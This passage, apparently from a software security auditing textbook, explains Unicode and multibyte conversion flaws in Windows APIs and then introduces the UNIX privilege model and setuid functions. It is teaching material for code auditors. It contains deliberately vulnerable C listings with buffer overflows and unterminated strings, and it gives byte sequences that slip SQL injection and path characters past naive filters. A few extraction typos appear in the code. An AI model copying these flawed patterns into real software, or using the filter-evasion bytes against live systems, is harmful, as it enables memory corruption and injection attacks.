Attack" published in the February 2002 edition of Communications of the ACM. These 

attacks take advantage of a Unicode homograph, which includes different characters 

that have the same visual representation. On its simplest level, a homographic attack 

doesn't specifically require Unicode. For example, the digit 1 (ASCII 0x31) can look 

like the lowercase letter l (ASCII 0x6c). However, with a little scrutiny, you can tell 

them apart. In contrast, a Unicode homographic attack involves two graphical 

representations that are identical, even though the underlying characters are 

different. For example, the Cyrillic character at codepoint 0x0441 happens to look a 

lot like the Latin-1 (ASCII) character 0x0063. In general, both are actually rendered 

as a lowercase c. 

http://www.unicode.org/reports/tr36/
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Chapter 17(? [????.]) includes an example of a well-publicized homographic attack in 

the discussion on phishing. For now, just understand that attackers can take 

advantage of these simple tricks when you're reviewing an application that presents 

users with data from external sources. Even if the data isn't directly harmful, 

attackers might be able to use it to trick unsuspecting users. 

Windows Unicode Functions 

The Windows operating system deals with string data internally as wide characters 

(encoded as UTF-16). Because many applications deal with ASCII strings (or perhaps 

other single or multibyte character sets), Windows provides functions for converting 

between the two formats as well as ASCII wrapper functions for all the exposed API 

functions that would otherwise require wide character strings. 

The conversion between character encodings takes place similarly whether an 

application uses ASCII wrapper functions or converts data explicitly. The rules for 

these conversions are determined primarily by the behavior of two functions: 

MultiByteToWideChar() and WideCharToMultiByte(). The details of how these 

functions perform conversions have a number of security implications ranging from 

memory corruption errors to conversions that produce unexpected results, as 

discussed in the following sections. 

MultiByteToWideChar() 

The MultiByteToWideChar() function is used to convert multi- and single-byte 

character strings into Unicode strings. A maximum of cchWideChar characters can be 

written to the output buffer (lpWideCharString). A common error that application 

developers make when using this function is to specify the destination buffer's size in 

bytes as the cchWideChar parameter. Doing this means twice as many bytes could be 

written to the output buffer than space has been allocated for, and a buffer overflow 

might occur. The MultiByteToWideChar() function is summarized in the following list: 

 Function int MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR 

lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) 

 API Win32 API 

 Similar functions mbtowc 

 Purpose MultiByteToWideChar() maps a single- or multibyte character string to 

a wide character string. 

The following code is an example misusing MultiByteToWideChar(): 

HANDLE OpenFile(LPSTR lpFilename) 

{ 

    WCHAR wPath[MAX_PATH]; 
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    if(MultiByteToWideChar(0, 0, lpFilename, -1, wPath, 

                           sizeof(wPath)) == 0) 

        Return INVALID_HANDLE_VALUE; 

 

    ... Create the file ... 

} 

 

This code is an example of the problem just mentioned. The bolded line shows the 

wide character count is set to the size of the output buffer, which in this case is 

MAX_PATH * sizeof(WCHAR). However, a WCHAR is two bytes, so the output size provided 

to MultiByteToWideChar() is interpreted as MAX_PATH * 2 bytestwice the real length of 

the output buffer. 

WideCharToMultiByte() 

The WideCharToMultiByte() function is the inverse of MultiByteToWideChar(); it 

converts a string of wide characters into a string of narrow characters. Developers are 

considerably less likely to trigger a buffer overflow when using this function because 

the output size is in bytes rather than wide characters, so there's no 

misunderstanding the meaning of the size parameter. The WideCharToMultiByte() 

function is summarized in the following list: 

 Function int WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR 

lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, 

LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) 

 API Win32 API 

 Similar functions wctombc 

 Purpose WideCharToMultiByte() maps a wide character string to a single- or 

multibyte character string. 

Because wide characters are a larger data type, their information sometimes needs to 

be represented by a sequence of single-bytes, called a multibyte character. The 

rules for encoding wide characters into multibyte characters are governed by the code 

page specified as the first argument to this function. 

NUL-Termination Problems 

The MultiByteToWideChar() and WideCharToMultiByte() functions don't guarantee 

NUL-termination if the destination buffer is filled. In these cases, the functions return 

0, as opposed to the number of characters converted. It's intended that users of these 

functions check the return value; however, this is often not the case. Listing 8-29 

shows a brief example. 

Listing 8-29. Return Value Checking of MultiByteToWideChar() 
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HANDLE open_file(char *name) 

{ 

    WCHAR buf[1024]; 

    HANDLE hFile; 

 

    MultiByteToWideChar(CP_ACP, 0, name, strlen(filename), 

                        buf, sizeof(buf)/2); 

 

    wcsncat(buf, sizeof(buf)/2  wcslen(buf)  1, ".txt"); 

    ... 

} 

 

Because the return value is left unchecked, the fact that buf isn't big enough to hold 

the name being converted isn't caught, and buf is not NUL-terminated. This causes 

wcsncat() to miscalculate the remaining buffer size as a negative number, which you 

know is converted into a large positive number if you review the wcsncat() function 

prototype listed under strncat(). 

MultiByteToWideChar() might have additional problems when multibyte character 

sets are being converted. If the MB_ERR_INVALID_CHARS flag is specified, the function 

triggers an error when an invalid multibyte sequence is encountered. Here's an 

example showing a potentially dangerous call: 

PWCHAR convert_string(UINT cp, char *instr) 

{ 

    WCHAR *outstr; 

    size_t length; 

 

    length = strlen(instr) + 1; 

 

    outstr = (WCHAR *)calloc(length, sizeof(WCHAR)); 

 

    MultiByteToWideChar(cp, MB_ERR_INVALID_CHARS, instr, -1, 

                        outstr, -1); 

 

    return outstr; 

} 

 

Again, because the function's return value isn't checked, the convert_string() 

function doesn't catch invalid character sequences. The problem is that 

MultiByteToWideChar() returns an error when it sees an invalid character sequence, 

but it doesn't NUL-terminate the destination buffer (outstr, in this case). Because the 
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return value isn't checked, the function doesn't deal with this error, and an 

unterminated wide string is returned to the caller. Because of this any later 

processing on this string could result in memory corruption. 

Unicode Manipulation Vulnerabilities 

Memory management issues can also occur when using any bounded multibyte or 

wide character functions. Take a look at an example using wcsncpy(): 

wchar_t destination[1024]; 

 

wcsncpy(destination, source, sizeof(destination)); 

 

At first glance, it seems as though this code is correct, but of course the size 

parameter should indicate how big the destination buffer is in wide characters, not the 

size in bytes; so the third argument is actually twice the length of the output buffer. 

This mistake is easy to make, so code auditors should keep an eye out for it. 

Another interesting quirk is errors in dealing with user-supplied multibyte-character 

data strings. If the application code page indicates that a double-byte character set 

(DBCS) is in use, characters can be one or two bytes. Applications processing these 

strings need to identify whether each byte being processed is a single character or 

part of a two-byte sequence; in Windows, this check is performed with the 

IsDBCSLeadByte() function. Vulnerabilities in which a pointer can be incremented out 

of the buffer's bounds can easily occur if the application determines that a byte is the 

first of a two-byte sequence and neglects to check the next byte to make sure it isn't 

the terminating NUL byte. Listing 8-30 shows an example. 

Listing 8-30. Dangerous Use of IsDBCSLeadByte() 

char *escape_string(char *src) 

{ 

    char *newstring, *dst; 

 

    newstring = (char *)malloc(2*strlen(src) + 1); 

 

    if(!newstring) 

        return NULL; 

 

    for(dst = newstring; *src; src++){ 

        if(IsDBCSLeadByte(*src)){ 

            *dst++ = *src++; 

            *dst++ = *src; 

            continue; 
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        } 

 

        if(*src == '\'')) 

            *dst++ = '\'; 

        *dst++ = *src; 

    } 

 

    return newstring; 

} 

 

When the code in Listing 8-30 encounters a lead byte of a two-byte sequence, it does 

no checking on the second byte of the two-byte sequence. If the string passed to this 

function ends with a DBCS lead byte, the lead byte and the terminating NUL byte are 

written to the destination buffer. The src pointer is incremented past the NUL byte 

and continues processing bytes outside the bounds of the string passed to this 

function. This error could result in a buffer overflow of the newstring buffer, as the 

allocated length is based on the string length of the source string. 

Note 

When multibyte character sequences are interpreted, examine the code to see what 

can happen if the second byte of the sequence is the string's terminating NUL byte. If 

no check is done on the second byte, processing data outside the buffer's bounds 

might be possible. 

 

 

Code Page Assumptions 

When converting from multibyte to wide characters, the code page argument affects 

how MultiByteToWideChar() behaves, as it specifies the character set the multibyte 

string is encoded in. In most cases, this function is used with the default system code 

page (CP_ACP, ANSI Code Page), which doesn't do much. However, attackers can 

affect the code page in some situations by constructing multibyte character 

sequences that evade filters in earlier layers. Listing 8-31 is an example of a 

vulnerable code fragment. 

Listing 8-31. Code Page Mismatch Example 

if(strchr(filename, '/') || strchr(filename, '\\')){ 

    error("filenames with slashes are illegal!"); 

    return 1; 

} 
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MultiByteToWideChar(CP_UTF8, 0, filename, strlen(filename), 

                    wfilename, sizeof(wfilename)/2); 

... 

 

As you can see, encoding is performed after a check for slashes, so by encoding 

slashes, attackers targeting earlier versions of Windows can evade that check and 

presumably do something they shouldn't be able to later. Akio Ishida and Yasuo 

Ohgaki discovered an interesting variation on this vulnerability in the PostgreSQL and 

MySQL database APIs (available at www.postgresql.org/docs/techdocs.50). As 

mentioned, SQL control characters are commonly escaped with the backslash (\) 

character. However, some naive implementations of this technique might not account 

for multibyte characters correctly. Consider the following sequence of bytes: 

0x95 0x5c 0x27 

 

It's actually a string in which the first two bytes are a valid Shift-JIS encoded 

Japanese character, and the last byte is an ASCII single quote ('). A naive filter won't 

identify that the first two bytes refer to one character; instead, it interprets the 0x5c 

byte as the backslash character. Escaping this sequence would result in the following 

bytes: 

0x95 0x5c 0x5c 0x5c 0x27 

 

Passing the resulting string to a multibyte-aware database can cause a problem 

because the first two bytes are interpreted as a single Japanese character. Then the 

remaining two 0x5c bytes are interpreted as an escaped backslash sequence. Finally, 

the last byte is left as an unescaped single quote character. This misinterpreted 

encoding can be exploited to inject SQL statements into an application that otherwise 

shouldn't be vulnerable. 

Having multibyte character sets used with MultiByteToWideChar() might have some 

additional complications related to memory corruption. Listing 8-32 shows an 

interesting call to this function. 

Listing 8-32. NUL Bytes in Multibyte Code Pages 

PWCHAR convert_string(UINT cp, char *instr) 

{ 

    WCHAR *outstr; 

    size_t length; 

 

    length = strlen(instr) * 2 + 1; 

http://www.postgresql.org/docs/techdocs.50
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    outstr = (WCHAR *)calloc(length, sizeof(WCHAR)); 

 

    MultiByteToWideChar(cp, 0, instr, -1, outstr, -1); 

 

    return outstr; 

} 

 

The MultiByteToWideChar() function in Listing 8-32 is vulnerable to a buffer overflow 

when a multibyte code page is used. Why? Because the output string length is 

calculated by multiplying the input string length by two. However, this calculation 

isn't adequate because the NUL byte in the string could be part of a multibyte 

character; therefore, the NUL byte can be skipped and out-of-bounds characters 

continue to be processed and written to the output buffer. In UTF-8, if the NUL byte 

appeared in a multibyte sequence, it would form an illegal character; however, 

MultiByteToWideChar() enters a default replacement or skips the character 

(depending on Windows versions), unless the MB_ERR_INVALID_CHARS flag is specified 

in the second argument. When that flag is specified, the function returns an error 

when it encounters an illegal character sequence. 

Character Equivalence 

Using WideCharToMultiByte() has some interesting consequences when decoding 

data. If conversions are performed after character filters, the code is equally 

susceptible to sneaking illegal characters through filters. When converting wide 

characters into multibyte, however, the risk increases for two main reasons: 

 Even with the default code page, multiple 16-bit values often map to the same 

8-bit character. As an example, if you want a backslash to appear in the input 

stream of the converted character set, you can supply three different wide 

characters that convert into the backslash byte (0x5c): 0x00 0x5c, 0x22 0x16, 

and 0xff 0x0c. You can do this not because the backslash character has three 

Unicode representations, but because output character represents the closest 

match when an exact conversion can't be performed. This behavior can be 

toggled with the WC_NO_BEST_FIT_CHARS flag. 

 When a character is encountered that can't be converted to a multibyte 

character and a close replacement can't be found (or the WC_NO_BEST_FIT flag 

is set), a default replacement character is inserted in the output stream; the . 

character is used for the ANSI code page, unless otherwise specified. If this 

replacement character is filtered, a wide range of values can generate this 

character in the output stream. 
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Auditing code that uses MultiByteToWideChar() or WideCharToMultiByte() requires 

careful attention to all these factors: 

 Check whether data is required to pass through a filter before it's converted 

rather than after. 

 Check whether the code page is multibyte or can be specified by a user. 

 If the MB_ERR_INVALID_CHARS flag is set for converting multibyte streams, user 

input can prematurely terminate processing and leave an unterminated 

output buffer. If it's omitted, a multibyte sequence including the trailing NUL 

byte can be specified, potentially causing problems for poorly written code. 

 If the WC_NO_BEST_FIT_CHARS flag is present for converting wide character data, 

users might be able to supply multiple data values that translate into the same 

single-byte character. The best-fit matching rules are years out of date, and 

most developers shouldn't use them anyway. 

 Look for any other flags affecting how these functions might be misused. 

 Make sure the return value is checked. If a conversion error is not identified, 

unterminated buffers might be used incorrectly. 

 Check the sizes of input and output buffers, as mentioned in the discussion of 

memory corruption in Chapter 5(? [????.]). 

7.4.7 Summary 

In this chapter, you've explored the vulnerabilities that can occur when processing 

textual data as strings. Most of these vulnerabilities result from processing in-band 

textual metadata in the form of metacharacters. Mishandling this in-band data can 

result in memory corruption, as it commonly does when improperly handling the NUL 

character with the C string APIs. However, there are many other security issues that 

can occur with more complex metacharacter representations, such as path names, 

format strings, and SQL. These issues are further aggravated when different encoding 

schemes and character sets allow data to be formatted in ways that developers do not 

anticipate and account for. As an auditor, you need to understand the risks associated 

with vulnerable in-band data handling, and how to identify and prevent them. 

7.5 Chapter 9.  UNIX I: Privileges and Files 

"There are two major products that came from Berkeley: LSD and UNIX. We don't 

believe this to be a coincidence." 

J. S. Anderson 

"First, LSD did not come from Berkeley. LSD was developed in Sandoz labs in Basel, 

Switzerland. Second, BSD did come from Berkeley, but it is not 'UNIX.'" 

Nick Johnson 
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7.5.1 Introduction 

UNIX is more than just a single operating system; it's a phenomenon. What started as 

a hacker's project to create a functional multi-user operating system has evolved into 

an array of OSs that all share some basic characteristics and a common ancestor. 

Writing about UNIX from a technical perspective can be rather intimidating, simply 

because it's hard to know what to call this phenomenon. Does UNIX refer only to 

vendors who paid for the use of the trademark? What do you call UNIX-like systems, 

such as Linux and BSD? UNIX-like operating systems? UN*X? UNIX derivatives? 

Should you preface everything with GNU? 

In this book, the term "UNIX" is used to refer to all of the UNIX derivatives that exist 

today: Linux, GNU/Linux, OpenBSD, FreeBSD, NetBSD, Solaris, HPUX, IRIX, AIX, 

SCO, Unicos, TiVo, Mr. Coffee, and every other OS resembling UNIX that (roughly) 

conforms to POSIX standards. Some might consider this usage unconscionable, but 

as long as you understand what's meant by the term in this book, it's good enough for 

the purposes of this discussion. 

Welcome to the first of two chapters on auditing UNIX applications. You start with a 

brief overview of UNIX technology, and then dive right in to study the UNIX access 

control model. As part of this exploration, you look at several ways in which 

application developers can mismanage process privileges and expose their programs 

to attackers. The second half of this chapter focuses on vulnerabilities related to 

interaction with the file system. You learn about file permissions and ownership, file 

system internals, linking attacks, race conditions, and issues with temporary files and 

public directories. Chapter 10(? [????.]), "UNIX II: Processes," continues the study of 

UNIX-centric application security by looking at the life and runtime environment of a 

typical process. You examine security issues related to various system services, 

including program invocation, program attribute retention, and interprocess 

communication (IPC) mechanisms. 

 

7.5.2 UNIX 101 

The UNIX family of operating systems has been around for a long time (in computing 

terms) and undergone many variations and changes. Ken Thompson developed the 

first incarnation of UNIX in 1969. His employer, Bell Labs, had just withdrawn from a 

joint venture to develop the Multiplexed Information and Computing Service (Multics) 

system: a large-scale, ambitious project to create a time-sharing system. The design 

turned out to be unwieldy and mired in complexity, however. Bell Labs worked on the 

project for four years but then withdrew, as it was still far from completion with no 

end in sight. 

31051536.html
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Ken Thompson then decided to write his own operating system, and he took a 

completely different approach. He focused on simplicity and pragmatic compromise, 

and he designed and implemented the system in an incremental fashion, one piece at 

a time. Over time, he would periodically implement a new tool or new subsystem and 

synthesize it into the existing code. Eventually, it shaped up to form a real operating 

system, and UNIX was born. 

Note 

The name UNIX is actually a play on the name Multics. There are a few funny 

explanations of the genesis of the name. One amusing quote is "UNIX is just one of 

whatever it was that Multics had lots of." There's the obligatory "UNIX is Multics 

without balls." There's also a commonly repeated anecdote that UNIX was originally 

spelled Unics, which stood for the slightly non sequitur Uniplexed Information and 

Computing Service. Comedy gold. 

 

UNIX systems generally feature simple and straightforward interfaces between small, 

concise modules. As you'll see, the file abstraction is used heavily throughout the 

system to access just about everything. At the core of a UNIX system is the kernel, 

which manages system devices, performs process maintenance and scheduling, and 

shares system resources among multiple processes. The userland portion of a UNIX 

system is typically composed of hundreds of programs that work in concert to provide 

a robust user interface. UNIX programs are typically small and designed around 

simple, easily accessible text-based interfaces. This tool-oriented approach to system 

design is often referred to as the "UNIX design philosophy," which can be summed up 

as "Write simple tools that do only one thing and do that one thing well, and make 

them easily interoperable with other tools." 

The following sections explain the basics of a typical UNIX system, and then you jump 

into the details of privilege management. 

Users and Groups 

Every user in a UNIX system has a unique numeric user ID (UID). UNIX 

configurations typically have a user account for each real-life person who uses the 

machine as well as several auxiliary UIDs that facilitate the system's supporting 

functionality. These UIDs are used by the kernel to decide what privileges a given 

user has on the system, and what resources they may access. UID 0 is reserved for 

the superuser, which is a special user who, in essence, has total control of the 

system. The superuser account is typically given the name "root." 

UNIX also has the concept of groups, which are used for defining a set of related 

users that need to share resources such as files, devices, and programs. Groups are 
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also identified with a unique numeric ID, known as a group ID (GID). GIDs assist 

the kernel in access control decisions, as you will see throughout this chapter. Each 

user can belong to multiple groups. One is the user's primary group, or login group, 

and the remaining groups are the user's supplemental groups, or secondary 

groups. 

The users of a system are typically defined in the password file, /etc/passwd, which 

can be read by every local user on the system. There's usually also a corresponding 

shadow password file that can be read only by the superuser; it contains hashes of 

user passwords for authentication. Different UNIX implementations store this 

information in different files and directories, but there's a common programmatic 

interface to access it. 

The password file is a line-based database file that records some basic details about 

each user on the system, delimited by the colon character. An entry in the password 

file has the following format: 

bob:x:301:301:Bobward James Smithington:/home/bob:/bin/bash 

 

The first field contains a username that identifies the user on the system. The next 

field traditionally contained a one-way hash of the user's password. However, on 

contemporary systems, this field usually just has a placeholder and the real password 

hash is stored in the shadow password database. The next two fields indicate the 

user's UID and primary GID, respectively. Supplemental groups for users are typically 

defined in the group file, /etc/group. The next field, known as the GECOS field, is a 

textual representation of the user's full name. It can also contain additional 

information about the user such as their address or phone number. 

Note 

GECOS actually stands for "General Electric Comprehensive Operating System," 

which was an old OS originally implemented by General Electric, and shortly renamed 

thereafter to GCOS. The GECOS field in the password file was added in early UNIX 

systems to contain ID information needed to use services exposed by GCOS systems. 

For a more detailed history of GECOS, consult the wikipedia entry at 

http://en.wikipedia.org/wiki/GECOS. 

 

Each user also has a home directory defined in the password file (/home/bob in this 

case), which is usually a directory that's totally under the user's control. Finally, each 

user also has a default shell, which is the command-line interface program that runs 

when the user logs in. 

http://en.wikipedia.org/wiki/GECOS
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Files and Directories 

Files are an important part of any computer system, and UNIX-based ones are no 

exception. The kernel provides a simple interface for interacting with a file, which 

allows a program to read, write, and move around to different locations in the file. 

UNIX uses this file abstraction to represent other objects on the system as well, so the 

same interface can be used to access other system resources. For example, a pipe 

between programs, a device driver, and a network connection all can be accessed 

through the file-based interface exposed by the kernel. 

On a UNIX system, files are organized into a unified hierarchical structure. At the top 

of the hierarchy is the root directory (named /). Files are uniquely identified by their 

name and location in the file system. A location, or pathname, is composed of a 

series of directory names separated by the slash (/) character. For example, if you 

have an internetd.c file stored in the str directory, and the str directory is a 

subdirectory of /home, the full pathname for the file is /home/str/internetd.c. 

A typical UNIX system has a number of directories that are set up by default according 

to certain historical conventions. The exact directory structure can vary slightly from 

system to system, but most directory structures approximate the Filesystem 

Hierarchy Standard (available, along with bonus Enya lyrics, at 

www.pathname.com/). A standard UNIX system includes the following directories: 

 /etc This directory usually contains configuration files used by various 

subsystems. Among other things, the system password database is located in 

this directory. If it's not there, it's somewhere strange, such as /tcb. 

 /home Home directories for users on the system to store their personal files and 

applications are typically located here. Sometimes home directories are stored 

at a different location, such as /usr/home. 

 /bin This directory contains executables ("binaries," hence the directory name) 

that are part of the OS. They are usually the files needed to operate the 

system in single-user mode before mounting the /usr file system. The rest of 

the OS binaries are usually in /usr/bin. 

 /sbin This directory contains executables intended for use by superusers. 

Again, /sbin contains the core utilities useful for managing a system in 

single-user mode, and /usr/sbin contains the rest of the administrative 

programs. 

 /var This directory is used primarily to keep files that change as programs are 

running. Log files, data stores, and temporary files are often stored under this 

directory. 

Although the visible hierarchy appears to users to be a single file system, it might in 

fact be composed of several file systems, which are grafted together through the use 

of mount points. Mount points are simply empty directories in the file system that a 

new file system can be attached to. For example, the /mnt/cdrom directory could be 

http://www.pathname.com/
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reserved for use when mounting a CD. If no CD is mounted, it's a normal directory. 

After the CD is mounted, you can access the file system on the CD through that 

directory. So you could view the test.txt file in the CD's root directory by accessing 

the /mnt/cdrom/test.txt file. Each file system that's mounted has a corresponding 

kernel driver responsible for managing file properties and data on the storage media, 

and providing access to files located on the file system. Typically, a file system 

module handles access to files on a partition of a physical disk, but plenty of virtual file 

systems also exist, which do things such as encapsulate network resources or RAM 

disks. 

Every file on the system belongs to a single user and a single group; it has a numeric 

user ID (UID) indicating its owner and a numeric group ID (GID) indicating its owning 

group. Each file also has a simple set of permissions, a fixed-size bit mask that 

indicates which actions are permissible for various classes of users. File permissions 

are covered in "File Security(? [????.])" later in this chapter. 

Processes 

A program is an executable file residing on the file system. A process is an instance 

of a program running on a system. A process has its own virtual memory environment 

that is isolated from all other processes on the system. Most modern UNIX systems 

also provide mechanisms for multiple execution flows to share the same address 

space to support threaded programming models. 

Each process on a UNIX system has a unique process ID (PID), and runs with the 

privileges of a particular user, known as its effective user. The privileges associated 

with that user determines which resources and files the process has access to. Usually, 

the effective user is simply the user that runs the application. In certain situations, 

however, processes can change who they're running as by switching to an effective 

user with different privileges, thus expanding or reducing their current access 

capabilities to system resources. 

When the UNIX kernel checks to see whether a process has permission to perform a 

requested action, it usually does a simple test before examining the relevant user and 

group permissions: If the process is running as the superuser, the action is 

categorically allowed. This makes the superuser a special entity in UNIX; it's the one 

account that has unfettered access to the system. Several actions can be performed 

only by the superuser, such as mounting and unmounting disks or rebooting the 

system (although systems can be configured to allow normal users to perform these 

tasks as well). 

In some situations, a normal user needs to perform actions that require special 

privileges. UNIX allows certain programs to be marked as set-user-id (setuid), 

which means they run with the privileges of the user who actually owns the program 

file, as opposed to running with the privileges of the user who starts the application. 
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So, if a program is owned by root, and the permissions indicate that it's a setuid file, 

the program runs as the superuser regardless of who invokes it. There's a similar 

mechanism for groups called set-group-id (setgid), which allows a program to run 

as a member of a specific group. 

7.5.3 Privilege Model 

In the UNIX access control model, each process has three associated user IDs: 

 Real user ID The ID of the user who started the process (that is, the user ID of 

the user who initially ran the program). 

 Saved set-user-ID If a program is configured as setuid, it runs as the user that 

owns the file when it's called, regardless of who called it. The ID of this user, 

the set-user-ID, is saved here. 

 Effective user ID The actual ID used when permission checks are done in the 

kernel. The effective user ID tells you the current privileges of the process. If 

a program wants to change its privileges, it changes its effective user ID to the 

ID of the user with the desired privileges. If a program has an effective user ID 

of 0, it has full superuser privileges to the system. 

In general, a process is allowed to change its effective user ID to its real user ID or 

saved set-user-ID. In this way, processes can toggle their effective permissions 

between the user who started the program and the more privileged set-user-ID. Note 

that a program with the superuser's effective user ID doesn't have to obey many rules, 

so the semantics of how those programs manage their IDs are more subtle. 

Each UNIX process also has multiple group IDs: 

 Real group ID The primary group ID of the user who called the process. 

 Saved set-group-ID If a program is configured as setgid, it runs as a member 

of a particular group. That group, the set-group-ID, is saved here. 

 Effective group ID One of the group IDs used when permission checks are 

done in the kernel. It's used with the supplemental group IDs when the kernel 

performs access control checks. 

 Supplemental group IDs Each process also maintains a list of groups the 

process has membership in. This list is used with the effective group ID when 

the kernel does permission checks of group permissions. 

The group IDs mirror the user IDs as far as functionality, except supplemental groups 

are also considered in access control decisions. Note that having an effective group ID 

of 0usually the wheel groupdoes not grant any special privileges in the system. It 

gives you access commensurate with the privileges members of the wheel group have, 

but it doesn't give you any special consideration at the kernel level. (Caveat: There 

have been vague references to older UNIX systems where the kernel does give special 

consideration to group 0, but the authors never encountered such a system.) 
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When a process runs another program, the real user ID stays the same. The effective 

user ID also stays the same, unless the new program is setuid. The saved set-user-ID 

is replaced with the effective user ID of the new process when it starts. So if you 

temporarily drop privileges by setting your effective user ID equal to your real user ID 

and then run a new program with exec(), the elevated privileges stored in your saved 

set-user-ID aren't passed on to the new program. 

Privileged Programs 

There are basically three categories of programs in UNIX, described in the following 

sections, that manage privileges by manipulating their effective user and group IDs. 

We will explore each of them in this section. 

Nonroot Setuid and Setgid Programs 

The setuid and setgid programs allow normal users to perform actions that require 

privileges they don't have. For example, the wall program is used to broadcast a 

message to all users on a system. This program works by writing a message to each 

user's terminal device. Normally, a regular (non-root) user can't write directly to 

another user's terminal device, as this would allow users to spy on each other and 

interfere with one another's terminal sessions. So the wall program is usually installed 

as setgid tty, which means wall runs as a member of the group tty. All the terminal 

devices on a system belong to this tty group, and permissions are set up so that the 

terminal devices are group writeable. Therefore, the wall program can provide users 

with the ability to write to other user's terminal devices in a controlled, safe fashion. 

Another example is the minicom programa text-based interface for interacting with a 

serial device, such as a modem. The administrator typically doesn't want to allow 

users to talk directly with serial device drivers, as this could lead to various attacks 

and reliability issues. One way some UNIX systems work around this requirement is 

by making the serial devices owned by the user uucp and configuring the minicom 

program to run setuid uucp. This way, when a normal user runs minicom, the 

program runs as the uucp user and has the privileges necessary to make use of serial 

devices. 

So a process's effective permissions are determined by its effective user ID, its 

effective group ID, and its supplemental group IDs. Setuid programs start off running 

with their elevated privileges, so their effective user ID is equal to their saved 

set-user-ID. Setgid programs behave in the same fashion. At any point, these 

programs are allowed to switch their effective IDs to their real IDs to drop their 

privileges. If they want to regain their privileges, they can toggle their effective IDs 

back to their saved set-user-IDs. 
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These programs can permanently drop their privileges by changing their saved setIDs 

and effective IDs to be equal to their real IDs, so they can't toggle to the user ID with 

higher privileges. 

Setuid Root Programs 

Most setuid programs in UNIX environments are setuid root, meaning they run as the 

superuser when they are started. The rules for setuid root programs are a little 

different; when a process has an effective user ID of 0, it doesn't have to obey 

conventions for how it manipulates its associated user and group IDs. Also, the 

semantics of the ID management API functions change slightly, as explained shortly 

in "User ID Functions" and "Group ID Functions." 

A good example of a setuid root program is the ping program. Ping needs the 

capability to use a raw socket, which requires root privileges. A raw socket can be 

used to spoof arbitrary network packets and retrieve certain types of raw network 

packets, so allowing nonprivileged users to create one would allow them to sniff traffic 

and forge data packets (generally considered rude in polite society). Therefore, this 

capability is limited to root users, and the ping program is configured as setuid root so 

that it can create a raw socket. 

A setuid root program starts off with an effective user ID of 0, a saved set-user-ID of 

0, and a real user ID corresponding to the user who started the program. Setuid root 

programs typically behave like other setuid and setgid programs, in that they manage 

privileges by toggling their effective user ID between their real user ID and saved 

set-user-ID. They permanently drop their privileges by setting all three IDs to the real 

user ID. However, they aren't required to obey these conventions when they're 

running as the superuser, so they could conceivably change their IDs in arbitrary 

ways. 

Daemons and Their Children 

In UNIX, daemons are long-running processes that provide system services (not 

unlike Windows service processes). They are usually started automatically by the 

system at boot time, or they are started by an administrator or a job-scheduling 

program. Daemons often run as the superuser so that they can perform privileged 

operations. A daemon running as root starts with an effective user ID of 0, a real user 

ID of 0, and a saved set-user-ID of 0. Its group membership corresponds to the root 

account's group membership, which equates to an effective group ID of 0, a real 

group ID of 0, a saved set-group-ID of 0, and membership in several 

administration-related supplementary groups. 

Daemon programs often run other programs to handle required tasks, and these child 

programs are usually also started with root privileges. These daemons and their child 

processes might temporarily assume a normal user's identity to perform certain 
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actions in a safe manner or to minimize the amount of time they're running with root 

privileges. To pull this off, the program typically changes its effective user ID to the 

user ID it's interested in assuming. However, first the program needs to change its 

effective group ID to an appropriate group ID and alter its supplemental group list to 

contain appropriate groups. As long as the program leaves its saved set-user-ID or 

real user ID set to 0, it can regain its superuser privileges later. 

A program running as root might also want to fully drop its root privileges and assume 

the role of a normal user permanently. To fully drop root privileges, the program must 

set all three of its user IDs and group IDs to the correct IDs for the user that it wants 

to become. 

A good example of a program like this is the login program, which authenticates 

users on a local terminal or remotely via the telnet service. This login program 

displays the login prompt and waits for the user to try to log in to the machine. At this 

point in time, the login program is running as root, because it needs access to system 

authentication databases. If the user authenticates successfully, login assumes the 

identity of that user before it opens a command shell, such as /bin/sh It does this by 

initializing its group IDs based on the user's group membership and then setting all 

three of its user IDs to the user's ID. 

User ID Functions 

The setuid(), seteuid(), setreuid(), and setresuid() functions are used to 

manipulate the three user IDs associated with a process. These functions have 

slightly different semantics on different UNIX OSs, and these differences can lead to 

security problems in applications that are intended to be portable across UNIX 

variants. This section introduces the user ID functions exposed by the standard C 

library and notes system-specific idiosyncrasies when relevant. 

Note 

You can find an excellent paper on the nuances of the setuid() family of functions at 

www.csl.sri.com/users/ddean/papers/usenix02.pdf. 

 

 

The seteuid() Function 

The effective user ID associated with a process is changed with the seteuid() 

function: 

int seteuid(uid_t euid); 

 

http://www.csl.sri.com/users/ddean/papers/usenix02.pdf
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This function, summarized in Table 9-1, has a single parameter, euid, which indicates 

the desired UID that the effective user ID should be set to. If a process is running with 

superuser privileges (effective user ID of 0), it can set the effective user ID to any 

arbitrary ID. Otherwise, for non-root processes, it can toggle the effective user ID 

between the saved set-user-ID and the real user ID. Programs use seteuid() to 

temporarily change their privileges. 

Table 9-1. Seteuid() Behavior 

Privileged OS Notes 

Yes General Changes the effective user ID to any arbitrary value. 

Yes Linux libc 

glibc 2.1 

and earlier 

If the new ID isn't the real user ID or the saved 

set-user-ID, the saved set-user-ID is updated along with 

the effective user ID. seteuid() is equivalent to 

setreuid(-1, euid). 

No General Toggles the effective user ID between the real user ID, the 

effective user ID, and the saved set-user-ID. 

No NetBSD 

FreeBSD 

Toggles the effective user ID between the real user ID and 

the saved set-user-ID. 

 

Take a closer look at this nonprivileged case: Say a user named admin has a user ID 

of 1000. The admin user runs a file owned by the bin user (typically user ID 1) and the 

saved set-user-ID bit is set on the file. When the program runs, the process has the 

following IDs: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1 - bin 

 

The program can do anything the bin user is allowed to do. If the program wants to 

temporarily relinquish these privileges, it can use seteuid(1000). It then has the 

following privileges: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1000 - admin 

 

If the program wants to regain its privileges, it uses seteuid(1). It then has these 

associated IDs: 
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real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1 - bin 

 

For the sake of completeness, say you have a program running as root with the 

following IDs: 

real user ID - 0 - root 

saved set-user-ID - 0 - root 

effective user ID - 0 - root 

 

This program can call a seteuid() with any value it likes, including values for user IDs 

that don't exist in the system, and the kernel allows it. Using a seteuid(4242) would 

result in the following IDs: 

real user ID - 0 - root 

saved set-user-ID - 0 - root 

